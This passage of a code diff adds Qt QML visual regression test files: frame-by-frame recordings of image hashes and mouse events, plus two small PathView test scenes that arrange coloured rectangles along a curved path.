+ msec: 4512
+ hash: "ac7451dcd3f1359ca2850bd986c22994"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 269; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4528
+ hash: "f9179ba9c011bc1492daf0d22f7e85e0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 319; y: 176
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4544
+ hash: "8db5ba9548ecad76b889d9024f59b5cf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 361; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4560
+ hash: "30375b9f69ca4ac1b67ff208fd18817f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 406; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4576
+ hash: "3ba2bd45231cdea3bd9f868c9d35f91e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 428; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 428; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4592
+ hash: "50646478058ada031f29b5df661e734e"
+ }
+ Frame {
+ msec: 4608
+ hash: "ab6f2fb209650dbf83710f3299db8907"
+ }
+ Frame {
+ msec: 4624
+ hash: "dbec24d44d19b834e9a4936c960c4295"
+ }
+ Frame {
+ msec: 4640
+ hash: "09c41872193e4a6eab37b35ef4e90465"
+ }
+ Frame {
+ msec: 4656
+ hash: "1778dc99de59e28a730a1439a7576abb"
+ }
+ Frame {
+ msec: 4672
+ hash: "6dbbdb5b4e6c6870b5dd62b1b94f9dd3"
+ }
+ Frame {
+ msec: 4688
+ hash: "3b5cf826c12339c0c635ae1ffcd431e7"
+ }
+ Frame {
+ msec: 4704
+ hash: "6d6068c26eea67214fd3529ab84ab5b5"
+ }
+ Frame {
+ msec: 4720
+ hash: "54cbc4842acb46254746984936656c5b"
+ }
+ Frame {
+ msec: 4736
+ hash: "10707bae5274ad29ac3e4aea320a30bf"
+ }
+ Frame {
+ msec: 4752
+ hash: "ad288c8afc21a87077bae47cbaed1a46"
+ }
+ Frame {
+ msec: 4768
+ hash: "bc1c391b0d7a56276b7c082aa2882e47"
+ }
+ Frame {
+ msec: 4784
+ hash: "c62341687ca048da1551eb708c7e8a19"
+ }
+ Frame {
+ msec: 4800
+ hash: "1a4e3bb688d6fcfe937f53f8179b21e0"
+ }
+ Frame {
+ msec: 4816
+ image: "test-pathview.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "0646877fe2f6935ca4b34495abed5919"
+ }
+ Frame {
+ msec: 4848
+ hash: "46899d9c0a188671d9b7ec01c827ad03"
+ }
+ Frame {
+ msec: 4864
+ hash: "85cd8aa6dfa28c5d2e10f1ff83644d8f"
+ }
+ Frame {
+ msec: 4880
+ hash: "323711ddd10147f51d903f524195b9fe"
+ }
+ Frame {
+ msec: 4896
+ hash: "ba6b46ac25a4f111c926522fc47d7367"
+ }
+ Frame {
+ msec: 4912
+ hash: "5dab5804d66b6aa8e4f73246c3b19557"
+ }
+ Frame {
+ msec: 4928
+ hash: "2cac21d8e33bc01431a6aedabba3ce18"
+ }
+ Frame {
+ msec: 4944
+ hash: "e1edf4268e206a40543d1a6caa4d0b43"
+ }
+ Frame {
+ msec: 4960
+ hash: "4989e920c0d173e68c3de730a5f4f877"
+ }
+ Frame {
+ msec: 4976
+ hash: "9840b722350840b56b096fda3a70f8e8"
+ }
+ Frame {
+ msec: 4992
+ hash: "261b7a66300ff2a9b761dd70d02ed490"
+ }
+ Frame {
+ msec: 5008
+ hash: "7b6ffb01c050c31bfb433077c8336ed9"
+ }
+ Frame {
+ msec: 5024
+ hash: "f8a20f8fe943b498dae9ba8fed113496"
+ }
+ Frame {
+ msec: 5040
+ hash: "e66b0f50bae2d0bba73f415af2c8dba1"
+ }
+ Frame {
+ msec: 5056
+ hash: "c82bb5035ff84c955f34f1189dcdbda4"
+ }
+ Frame {
+ msec: 5072
+ hash: "8fce2628032b2a1f16373e721671ab8c"
+ }
+ Frame {
+ msec: 5088
+ hash: "e260e978d88301448eb56145e0fdfd07"
+ }
+ Frame {
+ msec: 5104
+ hash: "7c5d5bfdabf8b7f1d01fb1761ec976b3"
+ }
+ Frame {
+ msec: 5120
+ hash: "eeb8f15a4cbecf4013f48015ebb1840d"
+ }
+ Frame {
+ msec: 5136
+ hash: "fb7bbed845f6fd5648c73431b0e4f65a"
+ }
+ Frame {
+ msec: 5152
+ hash: "6e944ef5057031fc6a56ea27036c953a"
+ }
+ Frame {
+ msec: 5168
+ hash: "0f96b7d876cb893081606ff93f7cf5c7"
+ }
+ Frame {
+ msec: 5184
+ hash: "5904e4105e1108427a2826f24f82b293"
+ }
+ Frame {
+ msec: 5200
+ hash: "79a79fd11348a5a250d132a151446711"
+ }
+ Frame {
+ msec: 5216
+ hash: "edfed341f047b923aea434a3c31c8c27"
+ }
+ Frame {
+ msec: 5232
+ hash: "06e8e9e202b395dc3b230b1b7a982bf8"
+ }
+ Frame {
+ msec: 5248
+ hash: "d2ba2520683cdb64d366ab44a54b4668"
+ }
+ Frame {
+ msec: 5264
+ hash: "94b1e8a018f17f761de164a8acf4d68a"
+ }
+ Frame {
+ msec: 5280
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5296
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5312
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5328
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5344
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5360
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5376
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5392
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5408
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5424
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5440
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5456
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5472
+ hash: "8abb0aa8951612338c3bb87c7a0d2509"
+ }
+ Frame {
+ msec: 5488
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5504
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5520
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5536
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5552
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5568
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5584
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5600
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5616
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5632
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5648
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5664
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5680
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5696
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5712
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5728
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5744
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5760
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5776
+ image: "test-pathview.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5808
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5824
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5840
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5856
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5872
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5888
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5904
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5920
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5936
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5952
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5968
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 5984
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6000
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6016
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6032
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6048
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6064
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6080
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6096
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6112
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6128
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6144
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6160
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6176
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6192
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6208
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6224
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6240
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6256
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 6272
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml
new file mode 100644
index 00000000..31712034
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview-2.qml
@@ -0,0 +1,70 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 580; height: 220
+ //Same as test-pathview, but with pathItemCount < model.count
+
+ ListModel {
+ id: rssModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "thistle" }
+ }
+
+ Component {
+ id: photoDelegate
+ Rectangle {
+ id: wrapper
+ width: 65; height: 65; color: lColor
+ scale: wrapper.PathView.scale
+
+ MouseArea { anchors.fill: parent }
+
+ transform: Rotation {
+ id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2
+ axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle
+ }
+ }
+ }
+
+ PathView {
+ id: photoPathView; model: rssModel; delegate: photoDelegate
+ anchors.fill: parent; z: 1
+ anchors.topMargin:40
+ pathItemCount: 6
+ path: Path {
+ startX: -50; startY: 40;
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: -45 }
+
+ PathCubic {
+ x: 300; y: 140
+ control1X: 90; control1Y: 30
+ control2X: 140; control2Y: 150
+ }
+
+ PathAttribute { name: "scale"; value: 1.2 }
+ PathAttribute { name: "angle"; value: 0 }
+
+ PathCubic {
+ x: 600; y: 30
+ control2X: 440; control2Y: 30
+ control1X: 420; control1Y: 150
+ }
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: 45 }
+ }
+ }
+
+ Column {
+ Rectangle { width: 20; height: 20; color: "red"; opacity: photoPathView.moving ? 1 : 0 }
+ Rectangle { width: 20; height: 20; color: "blue"; opacity: photoPathView.flicking ? 1 : 0 }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml
new file mode 100644
index 00000000..08499e76
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepathview/test-pathview.qml
@@ -0,0 +1,70 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 580; height: 220
+
+ ListModel {
+ id: rssModel
+ ListElement { lColor: "red" }
+ ListElement { lColor: "green" }
+ ListElement { lColor: "yellow" }
+ ListElement { lColor: "blue" }
+ ListElement { lColor: "purple" }
+ ListElement { lColor: "gray" }
+ ListElement { lColor: "brown" }
+ ListElement { lColor: "thistle" }
+ }
+
+ Component {
+ id: photoDelegate
+ Rectangle {
+ id: wrapper
+ width: 65; height: 65; color: lColor
+ scale: wrapper.PathView.scale
+
+ MouseArea { anchors.fill: parent }
+
+ transform: Rotation {
+ id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2
+ axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle
+ }
+ }
+ }
+
+ PathView {
+ id: photoPathView; model: rssModel; delegate: photoDelegate
+ anchors.fill: parent; z: 1
+ anchors.topMargin:40
+ highlightMoveDuration: 200
+ flickDeceleration: 200
+ path: Path {
+ startX: -50; startY: 40;
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: -45 }
+
+ PathCubic {
+ x: 300; y: 140
+ control1X: 90; control1Y: 30
+ control2X: 140; control2Y: 150
+ }
+
+ PathAttribute { name: "scale"; value: 1.2 }
+ PathAttribute { name: "angle"; value: 0 }
+
+ PathCubic {
+ x: 600; y: 30
+ control2X: 440; control2Y: 30
+ control1X: 420; control1Y: 150
+ }
+
+ PathAttribute { name: "scale"; value: 0.5 }
+ PathAttribute { name: "angle"; value: 45 }
+ }
+ }
+
+ Column {
+ Rectangle { width: 20; height: 20; color: "red"; opacity: photoPathView.moving ? 1 : 0 }
+ Rectangle { width: 20; height: 20; color: "blue"; opacity: photoPathView.flicking ? 1 : 0 }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.png
new file mode 100644
index 00000000..a02a00dd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.png
new file mode 100644
index 00000000..be18b8dc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.png
new file mode 100644
index 00000000..e4db4bca
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.png
new file mode 100644
index 00000000..d464e79d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.png
new file mode 100644
index 00000000..b0b93863
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.png
new file mode 100644
index 00000000..4ea4b24e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.6.png b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.6.png
new file mode 100644
index 00000000..a115867d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml
new file mode 100644
index 00000000..5f1e8be1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativepositioners/data/dynamic.qml
@@ -0,0 +1,1603 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "dynamic.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 48
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 64
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 80
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 96
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 112
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 128
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 144
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 160
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 176
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 192
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 208
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 224
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 240
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 256
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 272
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 288
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 304
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 320
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 336
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 352
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 368
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 384
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 400
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 416
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 432
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 448
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 464
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 480
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 496
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 512
+ hash: "d203c2cb69cb0841827e14bddc206d1f"
+ }
+ Frame {
+ msec: 528
+ hash: "453d5fb9d38f37bb8c23e376de76db06"
+ }
+ Frame {
+ msec: 544
+ hash: "c4a103de3b7207b3c6277e8ecf79f7dc"
+ }
+ Frame {
+ msec: 560
+ hash: "f58b0eb42d9b6ace87379f205da57550"
+ }
+ Frame {
+ msec: 576
+ hash: "3384c5b5939d8297e0834c7cd347d579"
+ }
+ Frame {
+ msec: 592
+ hash: "420b55371c69c6e1a17ef85a600c75d1"
+ }
+ Frame {
+ msec: 608
+ hash: "55cc6fb3424ef69d316ef29f6563a025"
+ }
+ Frame {
+ msec: 624
+ hash: "045b5ac545e69777b814423f77575990"
+ }
+ Frame {
+ msec: 640
+ hash: "45b05241e8e83180a8d92a37dc859ce0"
+ }
+ Frame {
+ msec: 656
+ hash: "97915dfbe4943e1f583ee134bc7a0117"
+ }
+ Frame {
+ msec: 672
+ hash: "9b4ce5ed20dd81698b4dd8e48f799c5c"
+ }
+ Frame {
+ msec: 688
+ hash: "24bdcea108cdbb3898a4d9216e9f9510"
+ }
+ Frame {
+ msec: 704
+ hash: "d1427093b1a375e86a69c6f65cb1f8e5"
+ }
+ Frame {
+ msec: 720
+ hash: "43dd666b15697ae18eb2410017256e4c"
+ }
+ Frame {
+ msec: 736
+ hash: "8043755f5a8a528353f1e7c310a46a97"
+ }
+ Frame {
+ msec: 752
+ hash: "d6b2ef0cb81395cd7454392aed4571f0"
+ }
+ Frame {
+ msec: 768
+ hash: "c249fd272e02cbdde972e85fc6dac695"
+ }
+ Frame {
+ msec: 784
+ hash: "1df5f8fce7b0c102e9902912600054e7"
+ }
+ Frame {
+ msec: 800
+ hash: "a9d16b180634620e3fe6caacb730885b"
+ }
+ Frame {
+ msec: 816
+ hash: "7228ce597720520bc12911fdef70ca86"
+ }
+ Frame {
+ msec: 832
+ hash: "1faa5c3e72740941234ff4a93388edc9"
+ }
+ Frame {
+ msec: 848
+ hash: "997ee1c6d5838153182473a3724df4ad"
+ }
+ Frame {
+ msec: 864
+ hash: "6ebbc0a0427825ea701f5bb4758f11a2"
+ }
+ Frame {
+ msec: 880
+ hash: "a2ac19360d631fd6d58f8a5ee85e40b4"
+ }
+ Frame {
+ msec: 896
+ hash: "17a5842b47a220bb8bd74a368cea6c1f"
+ }
+ Frame {
+ msec: 912
+ hash: "b37bae9c3384c068a7dd4f1135d3bfaa"
+ }
+ Frame {
+ msec: 928
+ hash: "65ffb0b6629364ebc687da7785601abd"
+ }
+ Frame {
+ msec: 944
+ hash: "27c7a43515fb2d8cddde42263f6ac9df"
+ }
+ Frame {
+ msec: 960
+ hash: "cc292df8a090c08d135dedf5e2a0af7c"
+ }
+ Frame {
+ msec: 976
+ image: "dynamic.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "59735c8372774b50052d15232d2f6d01"
+ }
+ Frame {
+ msec: 1008
+ hash: "9c239c4439009465dd91606ac84a3bf0"
+ }
+ Frame {
+ msec: 1024
+ hash: "8b9715d6468c8501895545bd84bf7f57"
+ }
+ Frame {
+ msec: 1040
+ hash: "0f7a123bfff1dbe059b6ceb3a3f44180"
+ }
+ Frame {
+ msec: 1056
+ hash: "c1bc31a379d15ca67d0ffc7139800b3f"
+ }
+ Frame {
+ msec: 1072
+ hash: "ebf470cd7cff4a836da9e721acfd327d"
+ }
+ Frame {
+ msec: 1088
+ hash: "e2b89846459f8ae48117ab4393d493bf"
+ }
+ Frame {
+ msec: 1104
+ hash: "5b980dcc070faf4ab4099cd5f711259c"
+ }
+ Frame {
+ msec: 1120
+ hash: "4640ed55c1608d76109407279a1f02db"
+ }
+ Frame {
+ msec: 1136
+ hash: "d839b597a3afef61de7b14ffb7ae518e"
+ }
+ Frame {
+ msec: 1152
+ hash: "2810e01355c32d3f7a9352676e6b5eef"
+ }
+ Frame {
+ msec: 1168
+ hash: "f1ac8b222e0068320827564e759e87ba"
+ }
+ Frame {
+ msec: 1184
+ hash: "7da89563319dd4045e7f9c40a712d722"
+ }
+ Frame {
+ msec: 1200
+ hash: "09c55dba364e484eec1a1badb4319003"
+ }
+ Frame {
+ msec: 1216
+ hash: "defd5c9a8003c58a7bef1930efdd6f29"
+ }
+ Frame {
+ msec: 1232
+ hash: "0f84e515b41b5c064ece9002e5edff0d"
+ }
+ Frame {
+ msec: 1248
+ hash: "d1a0405a18fe5b54e79ca0cadf46743b"
+ }
+ Frame {
+ msec: 1264
+ hash: "6046feb2fad386ae25ddd0d0e8ecb673"
+ }
+ Frame {
+ msec: 1280
+ hash: "b4374b0d9d709b0d7a9f8949616a16bf"
+ }
+ Frame {
+ msec: 1296
+ hash: "4d9d7d28f32ce2acd14c8dca0bc11fa0"
+ }
+ Frame {
+ msec: 1312
+ hash: "384afb63bdf34729132ac57080fa2988"
+ }
+ Frame {
+ msec: 1328
+ hash: "44ac2a9783c450a8c39b09387f0439e2"
+ }
+ Frame {
+ msec: 1344
+ hash: "26e1dfc2b54370f94881c2341b6e0618"
+ }
+ Frame {
+ msec: 1360
+ hash: "be47d72ae7c57e255706a8a5afe1fd3f"
+ }
+ Frame {
+ msec: 1376
+ hash: "92cb490b081bccedf0bbdee86dbc50ed"
+ }
+ Frame {
+ msec: 1392
+ hash: "1f0a09601474246e94c5ec3763cfa83e"
+ }
+ Frame {
+ msec: 1408
+ hash: "73f1a5c57a2c96e18ba894a7adb9a014"
+ }
+ Frame {
+ msec: 1424
+ hash: "8aa130cf4b2706afc8d582ee4c5f510d"
+ }
+ Frame {
+ msec: 1440
+ hash: "1c0de0f1f4aa5f44bdf774169296487d"
+ }
+ Frame {
+ msec: 1456
+ hash: "1e9b701ee63effb760e733ac623d75d7"
+ }
+ Frame {
+ msec: 1472
+ hash: "c30620b6d5d41937217fa9d3e0bf367d"
+ }
+ Frame {
+ msec: 1488
+ hash: "1f96e1da113d4a6cdb7179771ef7967d"
+ }
+ Frame {
+ msec: 1504
+ hash: "aa31458e44ba42a633421e8688a3af7e"
+ }
+ Frame {
+ msec: 1520
+ hash: "a7a560c05566d0bbea3f2bf397a0063a"
+ }
+ Frame {
+ msec: 1536
+ hash: "fdd290bc46b86a11afdffb95570d9a67"
+ }
+ Frame {
+ msec: 1552
+ hash: "46574d7bfc15bc5b9124eb0e12741724"
+ }
+ Frame {
+ msec: 1568
+ hash: "aed2015031da6c7e5064fe5fcd1e86e3"
+ }
+ Frame {
+ msec: 1584
+ hash: "dea39f30e686771ca516ac32e3dc4cb0"
+ }
+ Frame {
+ msec: 1600
+ hash: "4a9839f52a7ee6732c5e18c0d67534be"
+ }
+ Frame {
+ msec: 1616
+ hash: "df21723df1031542483684ff92aaf40a"
+ }
+ Frame {
+ msec: 1632
+ hash: "53683b7b52d0940aac744f0ef03a4527"
+ }
+ Frame {
+ msec: 1648
+ hash: "e6177b60c5586e79ca82e1bc7af41737"
+ }
+ Frame {
+ msec: 1664
+ hash: "592a60e226aa6967a8a41bc0e4288583"
+ }
+ Frame {
+ msec: 1680
+ hash: "534512915d800d00350803c3fdcccaf3"
+ }
+ Frame {
+ msec: 1696
+ hash: "a01ffd7ab177f850f3d8320da19a03ce"
+ }
+ Frame {
+ msec: 1712
+ hash: "15bd47f2c5c8cefe7565790b429aa6a4"
+ }
+ Frame {
+ msec: 1728
+ hash: "b90692eafe68c2b04057af887617667c"
+ }
+ Frame {
+ msec: 1744
+ hash: "edb22bd93a83de0cd3a046ed5a513ece"
+ }
+ Frame {
+ msec: 1760
+ hash: "f08fa88d05f48c42dd1eba538dc464d4"
+ }
+ Frame {
+ msec: 1776
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1792
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1808
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1824
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1840
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1856
+ hash: "ec46803523ee0516ed2c89923ff2ded7"
+ }
+ Frame {
+ msec: 1872
